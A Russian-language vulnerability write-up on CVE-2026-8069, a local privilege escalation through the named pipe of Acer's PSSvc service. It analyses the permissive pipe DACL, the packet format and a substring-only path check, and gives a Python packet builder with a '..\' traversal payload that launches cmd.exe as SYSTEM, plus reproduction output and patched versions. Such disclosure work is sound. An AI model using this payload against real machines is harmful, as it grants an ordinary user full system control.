
Технический разбор и proof-of-concept для CVE-2026-8069 — локального повышения привилегий в службах Acer NitroSense и PredatorSense, использующего именованный канал для выполнения произвольного кода с правами SYSTEM.
Acer NitroSense и PredatorSense 3.x устанавливали службу Windows под названием PSSvc, которая предоставляла локальным пользователям доступ к пользовательскому протоколу именованных каналов. Одна из команд протокола принимала управляемый вызывающей стороной путь к исполняемому файлу, дублировала токен winlogon.exe и запускала этот исполняемый файл от имени NT AUTHORITY\SYSTEM.
Ограничение пути в уязвимой службе представляло собой проверку подстроки. Путь, начинавшийся внутри каталога службы и затем использующий компоненты ..\, проходил проверку, но разрешался в другое место. В сочетании с разрешающим контролем доступа к каналу и отсутствием авторизации вызывающей стороны это позволяло обычному локальному пользователю получить процесс SYSTEM.
Acer присвоил CVE-2026-8069, опубликовал исправленные версии и указал Артема Домарева из Университета Градец-Кралове в своем уведомлении о безопасности.
Эта статья посвящена пути создания процесса/повышения привилегий (LPE). В уведомлении Acer также описывается произвольное удаление файлов, которое не входило в рамки данной проверки.
На выбор направления исследований также повлиял публичный анализ OEM-программного обеспечения, опубликованный Леоном Джейкобсом из SensePost. В этой работе были задокументированы уязвимости в ASUS DriverHub, MSI Center, Acer Control Centre и Razer Synapse 4 (Jacobs, 2025). Это подтвердило идею о том, что поставляемые вендором аппаратные утилиты могут предоставлять значимую и недостаточно изученную поверхность атаки. Вместо повторного исследования Acer Control Centre я расширил исследование на другое семейство продуктов Acer: NitroSense и PredatorSense.
Цепочка эксплуатации коротка:
аутентифицированный локальный пользователь
│
▼
разрешающий именованный канал PSSvc
│ пользовательская команда 0x0007
▼
проверка пути только по подстроке
│ service-dir\..\..\..\Windows\System32\cmd.exe
▼
дублирование токена winlogon.exe активного сеанса
│
▼
CreateProcessAsUserW → NT AUTHORITY\SYSTEM
В публичных формулировках есть несоответствие. На странице Acer указано, что уязвимы версии NitroSense «до 3.01.3052», однако подписанная вендором версия PSSvc.exe 3.1.3052.0, протестированная для этой статьи, очевидно уязвима. На той же странице NitroSense 3.01.3056 указан как исправленная версия. Диапазон применимости NVD также распространяется вплоть до 3.01.3056, но не включая её.
Для PredatorSense предложение Acer об уязвимых версиях заканчивается перед 3.00.3196, тогда как указанная исправленная версия — 3.00.3198, и NVD использует последнюю в качестве верхней границы.
Поэтому консервативное операционное правило простое: не используйте неоднозначное предложение об «уязвимых» версиях как проверку наличия исправления. Обновитесь как минимум до исправленных версий, указанных Acer — PredatorSense 3.00.3198 или NitroSense 3.01.3056 — или до более нового пакета, совместимого с моделью.
Проблема была воспроизведена с оригинальным пакетом NitroSense.
Подпись Authenticode PSSvc.exe успешно прошла проверку и связана с Acer Incorporated. MSI установил PSSvc как службу с запуском по требованию и собственным процессом, работающую от имени LocalSystem.
Пакет NitroSense устанавливает:
SERVICE_NAME: PSSvc
DISPLAY_NAME: Predator Service
TYPE: WIN32_OWN_PROCESS
START_TYPE: DEMAND_START
ACCOUNT: LocalSystem
Служба SYSTEM не является автоматически уязвимой. Важный вопрос заключается в том, может ли процесс с более низкими привилегиями получить доступ к функциональности, которая была разработана в предположении, что её вызывающая сторона доверена.
Анализ строк сразу выявил конечную точку IPC:
\\.\pipe\predatorsense_service_namedpipe
По адресу 0x140014AD0 служба создаёт канал и передаёт явный дескриптор безопасности в CreateNamedPipeW:
D:(A;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GRGWGX;;;AU)(A;OICI;GA;;;BA)
Это стоит явно уточнить: уязвимая сборка не передаёт NULL-дескриптор. Она создаёт разрешающий DACL.
ACE AU достаточно, чтобы обычный аутентифицированный пользователь мог открыть канал для чтения и записи. Затем сервер не олицетворяет клиента и не выполняет решение об авторизации перед отправкой привилегированных команд.
Поток клиента по адресу 0x14000ABB0 считывает сообщения в буфер размером 512 байт. Он разбирает первые три байта как 16-битный номер команды и 8-битное количество аргументов. Каждый аргумент имеет префикс длины:
Смещение Размер Значение
0x00 2 идентификатор команды, little-endian
0x02 1 количество аргументов
0x03 4 длина аргумента 0
0x07 n байты аргумента 0
... повторяющаяся длина DWORD + значение
Строковые аргументы — UTF-16LE. Целочисленные аргументы — DWORD в little-endian. Диспетчер принимает идентификаторы команд ниже 0x23 и использует их как индексы в таблице функций из 35 записей по адресу 0x140052C90.
Запись для команды 0x0007 указывает на 0x14000BFD0.
В сокращённом виде, с точки зрения безопасности, обработчик выглядит так:
int command_07(parsed_arguments *args)
{
wchar_t service_directory[MAX_PATH];
wchar_t *requested_path = args->wide_string[0];
uint32_t mode = args->dword[1];
GetModuleFileNameW(NULL, service_directory, MAX_PATH);
PathRemoveFileSpecW(service_directory);
if (wcsstr(requested_path, service_directory) != NULL)
return launch_with_selected_token(requested_path, mode);
return 0;
}
wcsstr отвечает только на вопрос, встречается ли одна строка внутри другой. Он не канонизирует путь, не разрешает сегменты с точками, не открывает файл и не доказывает, что конечный объект остаётся в доверенном каталоге.
Предположим, служба установлена в:
C:\Program Files\Acer\NitroSense_Service
Следующий путь содержит этот каталог со смещения ноль, поэтому wcsstr завершается успешно:
C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe
Windows разрешает сегменты с точками в:
C:\WINDOWS\System32\cmd.exe
Это классическая ошибка канонизации: проверка выполняется над одним текстовым представлением, тогда как чувствительная операция использует его нормализованное значение.
Вспомогательная функция запуска процесса по адресу 0x1400091F0 имеет специальную ветвь, когда второй аргумент равен 0x72 (десятичное 114). Она:
CreateToolhelp32Snapshot;winlogon.exe в активном сеансе;winsta0\default.Критические точки вызова в протестированном двоичном файле:
Это означает, что команда 0x0007 — это не просто запрос к службе запустить один из её собственных доверенных инструментов. Она предоставляет общий запускатель процессов с токеном SYSTEM через канал, к которому имеют доступ обычные пользователи.
Основной конструктор пакетов небольшой:
import struct
def build_packet(command_id, *arguments):
packet = struct.pack("<HB", command_id, len(arguments))
for argument in arguments:
if isinstance(argument, str):
argument = argument.encode("utf-16-le")
elif isinstance(argument, int):
argument = struct.pack("<I", argument)
packet += struct.pack("<I", len(argument)) + argument
return packet
service_dir = r"C:\Program Files\Acer\NitroSense_Service"
target = service_dir + r"\..\..\..\WINDOWS\System32\cmd.exe"
# Обработчик ожидает путь, режим токена и восемь дополнительных слотов.
packet = build_packet(0x0007, target, 0x72, *([b"\x00" * 4] * 8))
Полный скрипт проверки открывает канал с помощью CreateFileW, устанавливает режим сообщений, отправляет этот пакет и декодирует ответ службы. Он обнаруживает установленный путь службы вместо его жёсткого кодирования и проверяет нормализованную цель перед отправкой чего-либо.
Полный скрипт, использованный для этой статьи, доступен как acer_cve_2026_8069_poc.py.
Setup.exe вендора выполняет проверки оборудования и предоставляет закрытые свойства MSI. Я извлёк NitroSense.msi и восстановил эти свойства из загрузчика .NET:
$arguments = @(
'/i', 'C:\Lab\NitroSense.msi',
'BOOTSTRATOR=1', 'ISDT=0', 'RGBKB=0', 'ICPU=0',
'BRAND=0', 'ACER=1', 'BRANDNAME=Acer',
'GPRODUCTNAME=NitroSense_Service',
'/qn', '/norestart',
'/l*v', 'C:\Lab\install.log'
)
Start-Process msiexec.exe -ArgumentList $arguments -Wait
Эти свойства воспроизводят путь установки загрузчика на оборудовании, которое не проходит его проверки окружения.
После установки я проверил версию файла, SHA-256 и подпись, затем запустил службу с запуском по требованию:
sc.exe qc PSSvc
sc.exe start PSSvc
Запрос был отправлен со стандартной, не административной локальной учётной записи, работающей со средним уровнем целостности.
С этой учётной записи:
py .\acer_cve_2026_8069_poc.py --exec-test --target cmd.exe
Служба вернула:
[PASS] Connected
[INFO] Sending CMD 0x0007: path='cmd.exe', mode=0x72
Packet size: 227 bytes
Raw response: 010400000001000000
Return code: 1
[CRITICAL] PROCESS CREATED SUCCESSFULLY
Сообщение об успехе PoC само по себе не является доказательством. Я независимо запросил результирующий процесс из административного канала сбора доказательств:
Parent : PSSvc.exe
Session : Interactive
Owner : NT AUTHORITY\SYSTEM
CommandLine : "C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe"
Оболочка SYSTEM была прямым дочерним процессом PSSvc.exe в интерактивном сеансе, с сохранённым путём обхода в её командной строке.
Я также проследил API службы во время успешного запроса. Трассировка зафиксировала активный сеанс 1, успешный WTSQueryUserToken, снимок процессов, OpenProcess для winlogon.exe сеанса, успешный DuplicateTokenEx, изменение токена целостности и успешное возвращение из вспомогательной функции запуска процесса.


Это была не одна изолированная плохая проверка. Для эксплуатации требовалось совпадение нескольких ошибок доверия:
wcsstr, а не канонической проверки пути.winlogon.exe.Удаление любого из последних четырёх звеньев предотвратило бы этот путь LPE. Защита в глубину должна устранить все из них.
Поддерживаемое Acer устранение — обновление до PredatorSense 3.00.3198, NitroSense 3.01.3056 или более поздних версий. Используйте пакет, который Acer предлагает для серийного номера или SNID машины, как описано в уведомлении вендора.
Для разработчиков привилегированных служб Windows более широкие уроки таковы:
| Дата | Событие |
|---|---|
| 2026-02-19 | Отчёт об уязвимости подготовлен и отправлен в Acer. |
| 2026-05-08 | CVE-2026-8069 опубликован в экосистеме CVE/NVD. |
| 2026 | Acer опубликовал своё уведомление, указал исследователя и назвал исправленные версии PredatorSense и NitroSense. |
| 2026-08-28 | Независимое воспроизведение завершено для этой статьи. |
Локальные именованные каналы легко принять за доверенные границы. Они являются лишь транспортными механизмами. Когда служба SYSTEM предоставляет диспетчер команд, её ACL канала, авторизация вызывающей стороны, проверка аргументов и привилегированная реализация — всё это становится частью границы безопасности.
Здесь разрешающий канал достиг процедуры дублирования токенов, а проверка подстроки попыталась заменить проверку принадлежности пути. Результатом стал надёжный переход от обычного локального пользователя к NT AUTHORITY\SYSTEM.
Статья и оригинальные исследовательские материалы лицензированы по Creative Commons Attribution 4.0 International. Исходный код PoC лицензирован по лицензии MIT. См. LICENSE.md для уточнения области действия и исключений для сторонних лиц.
| Пункт | Результат |
|---|
| CVE | CVE-2026-8069 |
| Протестированный уязвимый компонент | PSSvc.exe 3.1.3052.0, подписанный Acer Incorporated |
| Идентификатор службы | LocalSystem |
| Конечная точка IPC | \\.\pipe\predatorsense_service_namedpipe |
| Уязвимая команда | 0x0007 |
| Требуемый доступ злоумышленника | Аутентифицированный локальный пользователь, способный запускать программу |
| Взаимодействие с пользователем | Нет |
| Результат | Произвольный исполняемый файл запускается от имени NT AUTHORITY\SYSTEM |
| NVD CVSS v3.1 | 7.8 High — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Исправленные версии | PredatorSense 3.00.3198; NitroSense 3.01.3056 |
| Артефакт | SHA-256 |
|---|
NitroSense_V3.01.3052_MSFT_SIGNED_20230420.zip | 947FB7C62665875450AFA9C9E7919D2B061ED8197C11B28D64781F121B30C157 |
NitroSense.msi | 6F9D405B6D2ADF2992C4E071453AD2C919A6DD38A89A31EF96EAFE81C50A745C |
Установленный PSSvc.exe 3.1.3052.0 | 3BA836B6A5D95B55708E771B74F49098F58B096EF1F63C5CCAE355811E193A40 |
| PoC, использованный для проверки | 31BC81140BAB64A8B0CB70ACC1C2CF3CA84A7B00015E5610AC075DC50DCB0163 |
| Сокращение SID | Субъект | Эффективное разрешение в SDDL |
|---|
BG | Встроенные гости | Полный доступ |
AN | Анонимные | Полный доступ запрещён |
AU | Аутентифицированные пользователи | Чтение, запись и выполнение |
BA | Встроенные администраторы | Полный доступ |
| Операция | Адрес |
|---|
CreateToolhelp32Snapshot | 0x140009298 |
OpenProcessToken | 0x140009346 |
DuplicateTokenEx | 0x1400093B0 |
CreateProcessAsUserW | 0x1400094BF / 0x1400094C7 |